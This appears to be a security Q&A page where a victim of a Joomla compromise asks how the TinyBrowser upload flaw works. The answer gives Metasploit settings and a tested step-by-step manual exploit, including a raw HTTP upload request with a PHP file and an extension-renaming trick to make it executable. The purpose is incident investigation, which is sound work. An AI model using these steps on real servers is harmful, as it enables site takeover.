1

After telling my workmates and boss that we had a very critical lack of security controls, finally we got compromised!

They had a Joomla 1.5 which was exploited using a file upload vulnerability. WSO 2.5 web shell was uploaded.

I'm trying to find out where is the vulnerable parameter but I haven't had success. Running joomscan I confirm the vulnerability:

# 20
Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities 
Versions effected: Joomla! 1.5.12 
Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
Exploit: While Joomla! team announced only File Upload vulnerability, in fact there are many. See: http://www.milw0rm.com/exploits/9296
Vulnerable? Yes

w3af reports a possible CSRF and possible critical ClickJacking because the target doesn't have X-Frame-Options header. But I don't know how to leverage both vulnerabilities to successfully upload a file.

Finally, I tried the easy way of running Metasploit, but I'm finding difficulties on setting the target IP. The vulnerable server doesn't have direct access from external networks. Incoming connections first go to an Apache server and then are redirected to the Joomla server. So how could I set up the target on Metasploit? Because afaik, I can only use IP and no URL for RHOST (didn't use Metasploit so much), and the IP points to the Apache and no the Joomla.

Tomorrow I'll have more time, so I'll try to manually find the vulnerability. What do you recommend me to look for?

-1

For this module in Metasploit (exploit/unix/webapp/joomla_tinybrowser), you'll need to target the endpoint from which the Joomla site is accessible, in this case the Apache server. You can set the Apache server's IP for the RHOST option, and then the required hostname for the VHOST option. VHOST essentially populates the Host HTTP header which will probably allow the attack to reach the "Joomla server".

Cross-Site Request Forgery (CSRF/XSRF) and ClickJacking are unlikely to be related, although they could potentially be leveraged to entice a user into performing actions they didn't intend. That doesn't eliminate the possibility that an admin could be tricked into uploading a malicious shell him/herself, although its not an attack vector I have personally seen.

If the Metasploit module doesn't work, you could try it manually as you say. I wouldn't expect it to be too difficult. I couldn't find detailed technical detail regarding this one after a cursory glance, but I would advise researching around the flaw's CVE identifier (CVE-2011-4908), and/or picking apart some of the public exploits.

This looks to me like the original advisory: http://yehg.net/lab/pr0js/advisories/tinybrowser_1416_multiple_vulnerabilities


Edit: Manual Reproduction

You can potentially use the source from the Metasploit module to understand what you would need to do to exploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/joomla_tinybrowser.rb). I have had a go at this below, although these steps are untested so may need some tweaking have been tested against a fresh install of Joomla 1.5.12.

Example assumes http://www.example.com/ with the Joomla instance at /JOOMLA/.

  1. Get an obfuscation code, required to upload files. Send a request to http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder=. The response should contain some kind of obfuscation code that you will need to copy.

    The obfuscation code is returned as a Javascript variable and should look something line this: so.addVariable("obfus", "a5a9ee6679580855adcc39ab00000000");

  2. Then we need to send something like this to upload a malicious script. Insert the retrieved obfuscation code:

    POST /JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/JOOMLA/images/stories/&type=file&feid=&obfuscate=%OBFUSCATIONCODE%&sessidpass= HTTP/1.1
    Host: www.example.com
    Content-Type: multipart/form-data; boundary=abcdef
    Content-length: 250
    
    --abcdef
    Content-Disposition: form-data; name="Filename"
    
    evil.ph.p
    --abcdef
    Content-Disposition: form-data; name="Filedata"; filename="evil.ph.p"
    Content-Type: application/octet-stream
    
    <?php echo("I've just executed PHP code!"); ?>
    --abcdef--
    
  3. Process the uploaded file. Send a request to: http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_process.php?folder=/JOOMLA/images/stories/&type=file&feid=&filetotal=1

    n.b. I get an error back, but it still works so not sure if this step is required or not.

  4. Then, rename the file. Browse to http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/edit.php?type=image&folder= in your favourite browser. Select 'Rename' from the drop-down and remove the . from the end of the evil filename (i.e. evil.ph. > evil.ph). Click 'Rename Files' and you should see the evil file disappear.

  5. Your proof of concept should be at http://www.example.com/JOOMLA/images/stories/evil.php if the above worked correctly.

    Result

  • I've been trying for a couple of hours to get the obfuscation code, but no success at all – yzT Feb 20 '14 at 12:53
  • @yzT What kind of response are you getting from the server? Status, any interesting headers etc? I'll try and get a copy running later and see if I can debug the above. – itscooper Feb 20 '14 at 13:05
  • @yzT The obfuscation code is returned as a Javascript variable and should look something line this: so.addVariable("obfus", "a5a9ee6679580855adcc39ab00000000"); – itscooper Feb 20 '14 at 13:50
  • There were a couple of issues when I tested so edited accordingly. Step 4 has been simplified as can be completed from browser. (CC: @yzT) – itscooper Feb 20 '14 at 14:19
  • which version are you using? Joomscan says it's the 1.5.12 but I just confirmed the running version is 1.5.20. Checking out the changelog, the file upload vulnerability was fixed on 1.5.13,so maybe that's why I don't see the obfuscation code? Also, when I go to the url provided on #1 I get a HTTP/1.1 200 OK Date: Thu, 20 Feb 2014 15:06:48 GMT Server: nginx/0.8.50 Content-Type: text/html X-Powered-By: PHP/5.3.2 Content-Length: 17 Keep-Alive: timeout=5, max=500 Connection: Keep-Alive Restricted access – yzT Feb 20 '14 at 15:10

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.